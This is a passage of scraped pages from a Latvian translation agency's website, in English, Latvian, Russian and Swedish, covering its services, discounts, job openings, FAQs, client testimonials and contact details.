nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Translation agency Skrivanek Baltic is part of various organisations. Find out more! - Published: 2019-09-10 - Modified: 2023-01-12 - URL: https://skrivanek.lv/sadarbibas-partneri/ - Translation Priorities: Optional SKRIVANEK BALTIC IS PART OF THE FOLLOWING ORGANISATIONS: AMERICAN CHAMBER OF COMMERCE IN LATVIA THE LATVIAN CHAMBER OF COMMERCE AND INDUSTRY GERMAN-BALTIC CHAMBER OF COMMERCE IN ESTONIA, LATVIA, LITHUANIA SWEDISH CHAMBER OF COMMERCE IN LATVIA EUROPEAN LANGUAGE INDUSTRY ASSOCIATION SKRIVANEK HOLDING SE IS PART OF THE FOLLOWING ORGANISATIONS: ATC — THE ASSOCIATION OF TRANSLATION COMPANIES GALA – THE GLOBALIZATION AND LOCALIZATION ASSOCIATION ACTA – THE ASSOCIATION OF CZECH TRANSLATION AGENCIES THE ASSOCIATION OF LANGUAGE COMPANIES D-U-N-S® (DATA UNIVERSAL NUMBERING SYSTEM) --- > Save on professional translations, interpreting services and language courses with Skrivanek Baltic's special offers. - Published: 2019-09-10 - Modified: 2025-07-16 - URL: https://skrivanek.lv/ipasie-piedavajumi/ - Translation Priorities: Optional ON TRANSLATION/INTERPRETING SERVICES Special offer for interpreting services in civil proceedings: consecutive interpreting from English into Latvian or from Russian into Latvian only 50 euros/hour + VAT. If your translation doesn’t require notary certification, we can certify a true copy of the translation with an office seal only for EUR 5 + VAT! The offer is valid for the first copy (up to 10 pages). 5% discount on translation services to holders of the Club One card. We offer a 20% discount on English language courses in a group that takes place on weekday evenings and Saturdays for ISIC card holders. Discounts do not sum up and are applied to the starting price of the course, making payment in one instalment. * *Offer valid for individuals. 20% discount on notary-certified translations to members of the Latvian Association of the Deaf (with a membership card). 7. 77% discount on notary-certified translations to holders of the Riga Technical University’s student card. 10% discount on translations of identification documents (passport, personal ID, birth certificate) into Latvian, Russian, English and German to holders of the Riga Resident’s Card. The discounts are not combined. The client has the right to choose the biggest discount. ON LANGUAGE TRAINING AND CHILDREN’S CAMPS 15% discount when paying for language courses upfront or 19% discount for each of the two friends applying for courses together. Offer is valid on 30-lesson language courses in groups (except intensive summer courses). 50% discount on classes in the middle of business days when paying upfront for the entire course. Offer is valid on 30-lesson language courses in groups (except intensive summer courses) for a maximum of twelve people. Two friends for the price of one when applying for individual language training together. 7. 77% discount on individual language training and Italian, Spanish, German, French and Russian language training in groups to holders of Turība University’s student and alumni cards. 5% discount on all Skrivanek Baltic language courses to members of the American Chamber of Commerce in Latvia. Free third lesson in a group seminar course for members of the Latvian Chamber of Commerce and Industry. 10% discount on all Skrivanek Baltic language courses and children’s English lessons taking place every Saturday at Skrivanek Baltic to holders of the Club One card. 5% discount on all Skrivanek Baltic language courses to holders of the Riga Technical University’s student card. 5% discount on full day camp Riga Fun and 10% discount on half-day children’s summer camps to holders of the Latvian Honorary Family Card “3+ ģimenes karte”. IN NEED OF A TRANSLATION? LOOKING FOR LANGUAGE TRAINING OR A CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry --- - Published: 2019-09-10 - Modified: 2021-11-03 - URL: https://skrivanek.lv/sadarbibas-partneri/ SKRIVANEK BALTIC УЧАСТВУЕТ В ОРГАНИЗАЦИЯХ: Американская торговая палата в Латвии Латвийская торгово-промышленная палата Торговая палата Германии – Прибалтики в Эстонии, Латвии, Литве Шведская торговая палата в Латвии European Language Industry Association SKRIVANEK HOLDING SE УЧАСТВУЕТ В ОРГАНИЗАЦИЯХ: ATC — The Association of Translation Companies GALA – The Globalization and Localization Association ACTA – The Association of Czech Translation Agencies The Association of Language Companies D-U-N-S® (Data Universal Numbering System) --- > Воспользуйтесь специальными предложениями от бюро переводов Skrivanek и получите скидку на переводы, языковые курсы, а также детские лагеря! - Published: 2019-09-10 - Modified: 2023-01-24 - URL: https://skrivanek.lv/ipasie-piedavajumi/ - Translation Priorities: Optional УСЛУГИ ПЕРЕВОДА При оплате услуг переводчика в гражданском процессе воспользуйтесь специальным предложением: последовательный перевод с английского на латышский язык – всего за 50 евро/час + НДС; последовательный перевод с русского на латышский язык – всего за 50 евро/час + НДС! Заверка перевода печатью бюро переводов – всего за 5 евро + НДС! Если нотариальная заверка не требуется, можем заверить перевод печатью бюро. Предложение действительно для первого экземпляра (до 10 страниц). Владельцам карты Club One предлагаем скидку в размере 5 % на услуги перевода. Владельцам карты ISIC предлагаем скидку 20 % на групповые курсы английского языка, которые проводятся в будни по вечерам и по субботам. Скидки не суммируются и применяются к начальной цене курсов при оплате одним платежом. Членам Латвийского общества глухих предлагаем скидку в размере 20 % на услуги перевода с нотариальной заверкой (при предъявлении удостоверения членства). Владельцам студенческой карты Рижского технического университета предлагаем скидку в размере 7,77 % на услуги перевода с нотариальной заверкой. Владельцам Карты рижанина предлагаем скидку в размере 10 % на услуги перевода документов, удостоверяющих личность (паспорта, удостоверения личности, свидетельства о рождении), на латышский, русский, английский и немецкий языки. Скидки не суммируются. Клиент вправе выбрать самую высокую скидку. ИЗУЧЕНИЕ ЯЗЫКОВ, ДЕТСКИЕ ЛАГЕРЯ При оплате сразу всего языкового курса предоставляем скидку в размере 15 %, а при посещении курса вдвоем каждому предоставляем скидку в размере 19 %! Предложение действительно для курсов иностранных языков с 30 групповыми занятиями (кроме летнего интенсивного курса). Скидка в размере 50 % на курсы, проводимые в середине рабочего дня, действительна при оплате сразу всего курса. Предложение действительно для курсов иностранных языков с 30 групповыми занятиями (кроме летнего интенсивного курса), максимальное количество студентов в группе – двенадцать человек. Посещайте индивидуальные языковые курсы вдвоем и платите только за одного! Студентам и владельцам карты выпускника университета Turība предлагаем скидку в размере 7,77 % на индивидуальные языковые курсы, а также скидку в размере 7,77 % на групповые курсы итальянского, испанского, немецкого, французского и русского языков. Членам Американской торговой палаты в Латвии (The American Chamber of Commerce in Latvia) предлагаем скидку в размере 5 % на все языковые курсы, организуемые Skrivanek Baltic. Членам ЛТПП (Латвийской торгово-промышленной палаты) предлагаем бесплатное третье групповое семинарское занятие. Владельцам карты Club One предлагаем скидку в размере 10 % на все организуемые Skrivanek Baltic языковые курсы и курсы английского языка для детей, которые проводятся каждую субботу в помещениях Skrivanek Baltic. Владельцам студенческой карты Рижского технического университета предлагаем скидку в размере 5 % на все языковые курсы, организуемые Skrivanek Baltic. Владельцам карты почетной семьи Латвии «Семейная карта 3+» предлагаем скидку в размере 5 % на услуги дневного лагеря Riga Fun и скидку в размере 10 % на детские летние лагеря, работающие неполный день. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВЫЕ КУРСЫ ИЛИ НУЖНА КОНСУЛЬТАЦИЯ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос --- > Find out the jobs that are currently available. Learn more about our recruiting process by reading our requirements and terms of cooperation. - Published: 2019-09-09 - Modified: 2025-05-22 - URL: https://skrivanek.lv/karjera/ - Translation Priorities: Optional We know how important the quality of language solutions is, which is why we work with the best linguists and professionals. You can learn more about our recruiting process by reading our requirements and terms of cooperation. Skrivanek Baltic also has other departments, in which translation experience is not a requirement – feel free to review the jobs that are currently available there. We are currently looking for translators: English-Dutch English-Norwegian-English English-Danish-English English-Swedish-English English-Finnish-English We are currently looking for proofreaders: Dutch proofreader Norwegian proofreader Estonian proofreader APPLY FOR INTERNSHIP AT SKRIVANEK! If you are majoring in language studies: English studies, German studies or applied linguistics, If you want to see if you have what it takes to be a professional translator, If you want to learn from the best and see what it is like to work as a translator, Contact us! Send your CV to lelde@skrivanek. lv and put “internship” in the subject line. WE ARE LOOKING FOR DTP EXPERTS Requirements: Minimum 2 years’ experience in DTP services A relevant university degree Working knowledge of the principles of pre-print preparation and the specific context of working in a translation agency Timeliness and reliability in performing the assigned tasks Knowledge and experience of working in software such as: (Adobe Photoshop, Adobe Acrobat, Corel Draw, Adobe Page Maker, Adobe FrameMaker, Adobe InDesign, Adobe Illustrator, Quark Xpress, MS Office) An aspiring candidate should be a person who can achieve their goals, is independent and well-organised, can thoroughly and consistently complete tasks at hand, and is highly creative with a sense of aesthetic and an interest in computer graphic design. Want to work with us? Please register at Vendor Portal. NOTE: Please remember to upload your CV and other documents that prove your qualifications and experience (such as diplomas, certificates, letters of recommendation, etc. ). Also please let us know if you are authorized to invoice your jobs – you can add a short note about it in the Additional Information section. If we do not contact you within 7 days from your registration at Vendor Portal, please be informed that we do not have a demand for the services you offer at the moment. Please include the following clause in your application: “I hereby consent to the processing of my personal data for the purposes of the recruitment process. ” Due to the rapid growth of our company, we are now looking for candidates for the position: We are also looking for translators with specialist expertise in English, German and French who routinely work with CAT tools and do NMT postediting. English general IT pharmaceutics and pharmacology cardiology medical equipment furniture industry energy science telecommunications German automation / robotics construction / civil engineering electrical and electronics engineering energy science automotive / aviation pharmacy healthcare medical equipment French banking / investment economics general accounting insurance automation / robotics construction / civil engineering electrical and electronics engineering energy science automotive / aviation Translators specialising in the above fields will be given priority. Want to work with us? Please register at Vendor Portal. NOTE: Please remember to upload your CV and other documents that prove your qualifications and experience (such as diplomas, certificates, letters of recommendation, etc. ). Also please let us know if you are authorized to invoice your jobs – you can add a short note about it in the Additional Information section. If we do not contact you within 7 days from your registration at Vendor Portal, please be informed that we do not have a demand for the services you offer at the moment. Contact the recruitment: lelde@skrivanek. lv MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates --- - Published: 2019-08-13 - Modified: 2020-03-27 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/ - Translation Priorities: Optional Översättning Vi översätter dokument av praktiskt taget alla typer och format från och till 110 språk. Skicka oss din förfrågan så sätter vi ihop en skräddarsydd lösning. Översättning Specialiserade översättningar Att använda branschterminologi är avgörande. Av denna anledning har våra översättare inte bara språkvetenskaplig utbildning och den senaste tekniska utvecklingen till sitt förfogande, utan också en bakgrund inom medicin, lag, teknik och andra områden, vilket hjälper till att säkerställa bästa resultat. Allmänna översättningar Översättning handlar inte bara om att översätta ord, utan att återge källtexten till ett annat språk utan att den förlorar sin betydelse. Vi tillhandahåller snabba översättningar av dokument som inte kräver någon branschspecifik kunskap. Notariuscertifiering Vi tillhandahåller notariuscertifierade översättningar för originaldokument och kopior enligt lagstiftningen i Republiken Lettland. Dokumentens noggrannhet, exakthet och överensstämmelse verifieras av en edsvuren notarie, medan en edsvuren översättare tar fullt ansvar för kvaliteten på översättningarna. Söker du översättningstjänster eller konsultation? Vi kommer att sätta ihop en skräddarsydd lösning och konsultera dig om ditt intresseämne. Vanliga frågor Det kan vara i alla elektroniska format - vi kan hantera många format. Om ditt dokument inte är tillgängligt elektroniskt, skicka det till oss som ett foto. Priserna för översättningstjänster beräknas enligt antalet ord i källdokumentet, språkparet och andra aspekter. Skicka in dina dokument till oss så skickar vi en offert på priset på tjänsten innan vi påbörjar översättningen. Att få en kostnadsfri offert innebär ingen skyldighet att samarbeta med oss. Vi kommer överens om tidsfristen innan vi bearbetar beställningen. Generellt tar det en hel arbetsdag att översätta 500 ord eller färre, medan att översätta 1000 ord och fler tar minst en och en halv dag. I undantagsfall utför vi också brådskande översättningar. Mer än 25 år på marknaden! Vi har lång erfarenhet av att översätta texter om olika ämnen. 110+ Språk i olika kombinationer 14 miljoner+ Ord översatta 2019 3000+ Språkspecialister 4 ISO-certifikat Tillförlitlighet, hastighet och kvalitet på tjänsterna Medarbetarna hos Skrivanek är hjälpsamma, tillmötesgående och har en förstående inställning till specifikationerna för våra läkemedelsöversättningsuppgifter och översättningar från olika språkkombinationer. Beställningar utförs med en hög standard i enlighet med den högsta professionella och etiska kompetensen och inom fastställda tidsfrister. KRKA d. d. Vi rekommenderar Skrivanek Baltic som en pålitlig partner för alla stora projekt som kräver professionella språktjänster. Sandoz d. d. Medarbetarna hos Skrivanek är hjälpsamma och har en förståelse för de detaljer som finns i våra översättningsuppgifter från de baltiska språken. Adidas Baltic rekommenderar andra företag att utnyttja tjänsterna som tillhandahålls av detta företag. Adidas Baltics --- - Published: 2019-08-13 - Modified: 2020-04-06 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/ - Translation Priorities: Optional Tolkning Vi tillhandahåller tolkningstjänster i olika kombinationer på mer än 40 olika språk. Våra lokala och utländska tolkar är bara ett telefonsamtal bort. Konsekutiv tolkning Professionell och lätt att förstå. Konsekutiv tolkning innebär att tolken först lyssnar på talaren och därefter tolkar det som sagts till ett annat språk. Denna typ av tolkning är avgörande vid små möten, affärsluncher och studiebesök. Simultantolkning När man tolkar för ett stort antal människor och till och med i flera språkkombinationer samtidigt, är den bästa lösningen simultantolkning. Det betyder att den talade texten tolkas inifrån ett tolkbås med några sekunders försening. Konferenstolkning Vid konferenser är det viktigare att kommunicera talarens åsikter snarare än att översätta varje enskilt ord. Våra professionella simultantolkar kan säkerställa kommunikation mellan representanter från olika kulturer. Domstolstolkning Juridiskt språk förlitar sig på precision, vilket är särskilt viktigt vid domstolen. Våra tolkar är erfarna och välbevandrade i juridisk terminologi. Med deras hjälp går domstolsförfarandet smidigt. Andra typer av tolkning Vi tillhandahåller också andra typer av tolkningstjänster, såsom simultantolkning på teckenspråk, viskande tolkning, tolkning via telefon eller tolkning av Skype-konferenser. Om du inte hittar det du letar efter bland de listade typerna av tolkningstjänster, vänligen kontakta våra projektledare - vi hittar definitivt rätt lösning åt dig! Assistenttjänster Om du behöver hjälp med tolkning i vardagliga situationer, som att kommunicera med myndigheter eller kommunala institutioner, skicka in dokument osv. , är tolkassistenttjänsterna rätt val för dig. Kontakta oss så hittar vi den bästa lösningen! Söker du tolkningstjänster eller konsultation? Vi kommer att sätta ihop en skräddarsydd lösning och konsultera dig om ditt intresseämne. Vanliga frågor Båda är språkexperter, men skillnaden ligger i att översättare tillhandahåller skriftliga översättningar, medan tolkar tillhandahåller muntliga översättningar, antingen konsekutivt eller simultant. Det beror på varje enskilt fall och dina behov. Bara du kan bestämma hur många timmar en tolk ska tillbringa med dig. Ja, ofta skapar vi till och med team av språkspecialister för våra samarbetspartners, vilket innebär att tjänsterna tillhandahålls av samma översättare eller tolkar som tidigare. Vi välkomnar din feedback och engagerar gärna samma språkspecialist. Våra stamkunder har också sina egna projektledare. Mer än 25 år på marknaden! Vi har lång erfarenhet av att översätta texter om olika ämnen. 110+ Språk i olika kombinationer 14 miljoner+ Ord översatta 2019 3000+ Språkspecialister 4 ISO-certifikat Tillförlitlighet, hastighet och kvalitet på tjänsterna Medarbetarna hos Skrivanek är hjälpsamma, tillmötesgående och har en förstående inställning till specifikationerna för våra läkemedelsöversättningsuppgifter och översättningar från olika språkkombinationer. Beställningar utförs med en hög standard i enlighet med den högsta professionella och etiska kompetensen och inom fastställda tidsfrister. KRKA d. d. Vi rekommenderar Skrivanek Baltic som en pålitlig partner för alla stora projekt som kräver professionella språktjänster. Sandoz d. d. Medarbetarna hos Skrivanek är hjälpsamma och har en förståelse för de detaljer som finns i våra översättningsuppgifter från de baltiska språken. Adidas Baltic rekommenderar andra företag att utnyttja tjänsterna som tillhandahålls av detta företag. Adidas Baltics --- - Published: 2019-08-13 - Modified: 2020-04-06 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/ - Translation Priorities: Optional Lokalisering Vi tillhandahåller inte bara översättningar utan ser också till att de lokaliserade produkterna och programvarorna fungerar bra. Webbplatsöversättning Översättning av webbplatser har aldrig varit enklare! Våra specialister kommer att tillhandahålla optimala lösningar för översättning och lokalisering för att se till att din webbplats passar behoven och de lokala egenskaperna i din region eller marknad. Ljud- och videofillokalisering Kvalitativa inspelningar på vilket språk som helst - efter att våra specialister har transkriberat och översatt din fil kommer vi att leverera ett professionellt slutresultat i ljud- eller videoformat. Programvarulokalisering Exakt och precis anpassning av programvara till kraven i respektive land - vi kommer att översätta din programvara eller applikation och se till att behålla dess inställningar. Google Ads och SEO-översättningar Att göra din webbplats tillgänglig på flera språk kommer att förbättra dess konkurrensfördel avsevärt. Våra specialister kommer att lokalisera din webbplats enligt de senaste SEO-principerna så att den syns så högt som möjligt i organiska sökningar, samt anpassa nyckelord för Google-annonser för att säkerställa att dina potentiella kunder lätt kan hitta dig. Söker du lokaliseringstjänster eller konsultation? Vi kommer att sätta ihop en skräddarsydd lösning och konsultera dig om ditt intresseämne. Vanliga frågor Vi kan översätta vad som helst i praktiskt taget vilket elektroniskt format som helst, samtidigt som vi behåller formateringen ifrån originaldokumentet. När det gäller lokaliseringstjänster håller vi oss till de specifika instruktionerna från klienten eller inställningar dikterade av programvaran. Det gör vi gärna! Skrivanek har stor erfarenhet och kunskap när det gäller att översätta och lokalisera olika webbplatser och innehållshanteringssystem. Vi säkerställer alltid ett professionellt tillvägagångssätt och hittar den lämpligaste lösningen för din specifika situation för att säkerställa bästa resultat i respektive språkkombination. Ja, ofta skapar vi till och med team av språkspecialister för våra samarbetspartners, vilket innebär att tjänsterna tillhandahålls av samma översättare eller tolkar som tidigare. Vi välkomnar din feedback och engagerar gärna samma språkspecialist. Våra stamkunder har också sina egna projektledare. Mer än 25 år på marknaden! Vi har lång erfarenhet av att översätta texter om olika ämnen. 110+ Språk i olika kombinationer 14 miljoner+ Ord översatta 2019 3000+ Språkspecialister 4 ISO-certifikat Tillförlitlighet, hastighet och kvalitet på tjänsterna Medarbetarna hos Skrivanek är hjälpsamma, tillmötesgående och har en förstående inställning till specifikationerna för våra läkemedelsöversättningsuppgifter och översättningar från olika språkkombinationer. Beställningar utförs med en hög standard i enlighet med den högsta professionella och etiska kompetensen och inom fastställda tidsfrister. KRKA d. d. Vi rekommenderar Skrivanek Baltic som en pålitlig partner för alla stora projekt som kräver professionella språktjänster. Sandoz d. d. Medarbetarna hos Skrivanek är hjälpsamma och har en förståelse för de detaljer som finns i våra översättningsuppgifter från de baltiska språken. Adidas Baltic rekommenderar andra företag att utnyttja tjänsterna som tillhandahålls av detta företag. Adidas Baltics --- - Published: 2019-08-13 - Modified: 2020-02-14 - URL: https://skrivanek.lv/biezak-uzdotie-jautajumi/ - Translation Priorities: Optional Skrivanek Baltic är en certifierad översättningsbyrå som erbjudit språktjänster av högsta kvalitet i Lettland sedan 2003. Skrivanek är en av de största leverantörerna av språktjänster i världen med mer än 25 års erfarenhet. Vi har för närvarande nästan 50 filialer i olika länder: USA, Österrike, Belgien, Bulgarien, Tjeckien, Estland, Litauen, Polen, Slovakien, Slovenien och Tyskland. Utbildningscentret Skrivanek öppnades 2007, vilket gav både barn och vuxna en möjlighet att förbättra eller förvärva nya främmande språkkunskaper med hjälp av högt kvalificerade och kunniga lärare, samt att få detaljerad information om språk. Priserna för översättningstjänster beräknas enligt antalet ord i källdokumentet, språkparet och andra aspekter. Skicka in dina dokument till oss så skickar vi en offert på priset på tjänsten innan vi påbörjar översättningen. Att få en kostnadsfri offert innebär ingen skyldighet att samarbeta med oss. Ja, alla priser för privatpersoner är inklusive moms. För företagskunder visas priserna exklusive moms. Enligt EU:s regler debiterar vi inte moms på tjänster som tillhandahålls momsregistrerade företag i andra medlemsländer. Enligt förordningen om omvänd skattskyldighet överförs skatteplikten till mottagaren av tjänsterna. Om du har ett Microsoft Word-dokument använder du funktionen Räkna ord (Granska, Räkna ord). Om ditt dokument är i ett annat format (en utskrift, JPG, HTML, PHP, ASP, etc. ), skicka det till vår e-postadress så ger vi dig en gratis offert. Vi kommer överens om tidsfristen innan vi bearbetar beställningen. Generellt tar det en hel arbetsdag att översätta 500 ord eller färre, medan att översätta 1000 ord och fler tar minst en och en halv dag. I undantagsfall utför vi också brådskande översättningar. Det kan vara i alla elektroniska format - vi kan hantera många format. Om ditt dokument inte är tillgängligt elektroniskt, skicka det till oss som ett foto. Vi kan översätta vad som helst i praktiskt taget vilket elektroniskt format som helst, samtidigt som vi behåller formateringen ifrån originaldokumentet. När det gäller lokaliseringstjänster håller vi oss till de specifika instruktionerna från klienten eller inställningar dikterade av programvaran. Det gör vi gärna! Skrivanek har stor erfarenhet och kunskap när det gäller att översätta och lokalisera olika webbplatser och innehållshanteringssystem. Vi säkerställer alltid ett professionellt tillvägagångssätt och hittar den lämpligaste lösningen för din specifika situation för att säkerställa bästa resultat i respektive språkkombination. Även om de flesta av våra översättningsförfrågningar kommer från juridiska personer, arbetar vi gärna med privatpersoner också. Notariuscertifierade översättningar är den vanligaste tjänsten för privatpersoner. Språkkurser och läger för barn och ungdomar är också populära. Båda är språkexperter, men skillnaden ligger i att översättare tillhandahåller skriftliga översättningar, medan tolkar tillhandahåller muntliga översättningar, antingen konsekutivt eller simultant. När det är möjligt arbetar vi med originaldokumenten elektroniskt utan att göra några ändringar i stil eller formatering. Vid behov garanterar vi att översättningen av klientens dokument ser ut som originalet eller formaterar det enligt kundens instruktioner med hjälp av vårt DTP-team. Vi är certifierade enligt ISO 9001, EN 17100 och ISO 27001. Vi ser allvarligt på konfidentialitet, tar ansvar för allt vi gör och håller alltid tidsramen! EN 17100 specificerar krav för alla aspekter av översättningsprocessen som direkt påverkar kvaliteten och leveransen av översättningstjänster. För våra klienters sinnesfrid har vi tecknat ett professionellt ansvarsavtal med det internationella försäkringsbolaget AIG. Vi tillhandahåller också översättningar med notariuscertifiering eller certifierar dem själva. Nej, alla översättningsorder accepteras och övervakas av projektledare, som utgör en effektiv länk mellan klienter och leverantörer. Skrivanek Baltics översättare och tolkar kan tillhandahålla tjänster på mer än 110 språk. Vi tillhandahåller ett stort utbud av språklösningar - översättnings- och tolkningstjänster, lokaliseringstjänster, textanpassning, copywriting, DTP och språkutbildning. Tolkning tillhandahålls vid konferenser och affärsmöten samt under domstolsförfaranden. Översättning inkluderar specialiserade och allmänna översättningar i olika branscher. Ja, ofta skapar vi till och med team av språkspecialister för våra samarbetspartners, vilket innebär att tjänsterna tillhandahålls av samma översättare eller tolkar som tidigare. Vi välkomnar din feedback och engagerar gärna samma språkspecialist. Våra stamkunder har också sina egna projektledare. Det beror på varje enskilt fall och dina behov. Bara du kan bestämma hur många timmar en tolk ska tillbringa med dig. När texten är avsedd för marknadsförings- eller reklamändamål kommer en enkel översättning inte att fungera - oftast måste texten bli lokaliserad och idiom och andra uttryck måste ändras för att säkerställa att andemeningen lätt kan förstås av målspråkanvändarna. Detta är när texter anpassas för att helt anpassa sig till målspråkpublikens krav. Computer-Assisted Translation eller Datorassisterad översättnings (CAT) verktyg är program som är avsedda att underlätta översättningsprocessen. Översättningsverktyg förlitar sig inte på datoriserad eller automatiserad översättning, men de gör det möjligt att utföra översättningar snabbare, säkerställa en konsekvent användning av terminologin, minska översättningskostnaderna och ge andra fördelar. Dessa verktyg gör det också möjligt att spara alla översatta texter, vilket innebär att identiska meningar bara behöver översättas en gång. De är särskilt användbara vid översättning av finansiella och tekniska texter samt läkemedelsbeskrivningar, webbplatser och programvara. Hittade du inte svaret på din fråga? eller ring oss (+371) 67 240 364 Mer än 25 år på marknaden! Vi har lång erfarenhet av att översätta texter om olika ämnen. 110+ Språk i olika kombinationer 14 miljoner+ Ord översatta 2019 3000+ Språkspecialister 4 ISO-certifikat Tillförlitlighet, hastighet och kvalitet på tjänsterna Medarbetarna hos Skrivanek är hjälpsamma, tillmötesgående och har en förstående inställning till specifikationerna för våra läkemedelsöversättningsuppgifter och översättningar från olika språkkombinationer. Beställningar utförs med en hög standard i enlighet med den högsta professionella och etiska kompetensen och inom fastställda tidsfrister. KRKA d. d. Vi rekommenderar Skrivanek Baltic som en pålitlig partner för alla stora projekt som kräver professionella språktjänster. Sandoz d. d. Medarbetarna hos Skrivanek är hjälpsamma och har en förståelse för de detaljer som finns i våra översättningsuppgifter från de baltiska språken. Adidas Baltic rekommenderar andra företag att utnyttja tjänsterna som tillhandahålls av detta företag. Adidas Baltics --- - Published: 2019-08-12 - Modified: 2020-03-27 - URL: https://skrivanek.lv/ - Translation Priorities: Optional Vi är här för att stödja dig på vägen till framgång! Översättning Vi erbjuder översättningar av hög kvalitet i nödvändiga språkkombinationer och garanterar konfidentialitet och respekterar tidsfrister. Tolkning Vi tillhandahåller alla typer av tolkningstjänster i olika kombinationer på mer än 40 olika språk. Lokalisering Vi tillhandahåller inte bara översättningar utan ser också till att de lokaliserade produkterna och programvarorna fungerar bra. Språkutbildning Vi erbjuder praktisk språkutbildning för både individer och anställda i företag och institutioner med olika kunskapsnivåer. Mer än 25 år på marknaden! Vi har lång erfarenhet av att översätta texter om olika ämnen. 110+ Språk i olika kombinationer 14 miljoner+ Ord översatta 2019 3000+ Språkspecialister 4 ISO-certifikat Tillförlitlighet, hastighet och kvalitet på tjänsterna Medarbetarna hos Skrivanek är hjälpsamma, tillmötesgående och har en förstående inställning till specifikationerna för våra läkemedelsöversättningsuppgifter och översättningar från olika språkkombinationer. Beställningar utförs med en hög standard i enlighet med den högsta professionella och etiska kompetensen och inom fastställda tidsfrister. KRKA d. d. Vi rekommenderar Skrivanek Baltic som en pålitlig partner för alla stora projekt som kräver professionella språktjänster. Sandoz d. d. Medarbetarna hos Skrivanek är hjälpsamma och har en förståelse för de detaljer som finns i våra översättningsuppgifter från de baltiska språken. Adidas Baltic rekommenderar andra företag att utnyttja tjänsterna som tillhandahålls av detta företag. Adidas Baltics --- - Published: 2019-08-12 - Modified: 2020-04-29 - URL: https://skrivanek.lv/kontakti/ - Translation Priorities: Optional Välkommen till Skrivanek Baltic! Lāčplēša iela 87C, Riga, Latvia, LV-1011Öppettider: Mån – Fre från 9:00 till 17:30 birojs@skrivanek. lv(+371) 67 240 364(+371) 26 181 355(+371) 26 382 680 (WhatsApp)skrivanek. baltic --- > Rakstiskie, mutiskie tulkojumi un citi valodu pakalpojumi visās popuārākajās Eiropas valodu kombinācijās. Sazinieties ar mums: birojs@skrivanek.lv! - Published: 2019-05-13 - Modified: 2024-10-28 - URL: https://skrivanek.lv/?page_id=5 - Translation Priorities: Optional Afrikaans Akkadian Albanian Amharic Arabic Armenian Aymara Azerbaijani Bashkir Belarusian Bengali Bislama Bosnian Bulgarian Burmese Buryat Catalan Creole Croatian Chinese Chukchi Czech Danish Dari Divehi Dutch (Flemish) Dzongkha English Estonian Faroese Farsi Finnish French Georgian German Greek Guarani Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kazakh Khmer Kinyarwanda Kirghiz Komi Kongo Korean Kosraean Kurdish Rundi Lao Latin Latvian Lithuanian Tswana Macedonian Malagasy Malay Maltese Marathi Moldavian Mongolian Nauru Ndebele Nepali Norwegian Nyanja (Chichewa) Palauan Pedi Persian Polish Portuguese Pushto Quechua Romanian Russian Samoan Sanskrit Serbian Sesotho (Sotho) Sinhalese Slovak Slovenian Spanish Somali Sumerian Swahili Swazi Swedish Tagalog Tajik Tamil Tatar Thai Tibetan Tigre Tonga Turkish Turkmen Ukrainian Urdu Uzbek Venda Vietnamese Wolof Other Languages OUR MOST POPULAR LANGUAGE SERVICES AMONGST CUSTOMERS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. STILL LOOKING FOR THE RIGHT LANGUAGE OR A CONSULTATION? Send inquiry MORE THAN 25 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2020 0+ Language specialists 0 ISO certificates MOST POPULAR TRANSLATION FIELDS Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Качественные языковые услуги для предприятий и физических лиц. Наше предприятие сертифицировано по стандартам ISO 9001, EN 17100, ISO 27001. Узнайте больше! - Published: 2019-02-18 - Modified: 2024-01-29 - URL: https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/ - Translation Priorities: Optional ВАШЕ БЮРО ПЕРЕВОДОВ И УЧЕБНЫЙ ЦЕНТР SKRIVANEK 1 Предприятие Skrivanek является одним из крупнейших в мире поставщиков языковых услуг и обладает более чем 25-летним опытом работы в данной области. В настоящий момент у Skrivanek насчитывается почти 50 филиалов в разных странах мира. Латвийский филиал Skrivanek Baltic предлагает своим клиентам высококачественные языковые услуги с 2003 года. МИССИЯ Skrivanek Baltic = высококачественные языковые услуги для успешного общения и долгосрочной деятельности в Латвии и за рубежом. ВИДЕНИЕ БУДУЩЕГО Видение будущего Skrivanek Baltic – быть компанией с отличным уровнем обслуживания клиентов, высокими стандартами качества, довольными сотрудниками и хорошей репутацией. ЦЕЛИ быть социально ответственной и стабильной компанией; внедрять отраслевые нововведения в повседневную работу компании; быть надежным и дружественным деловым партнером для наших клиентов и поставщиков; вносить свой вклад в развитие отрасли, а также содействовать повышению ее репутации и 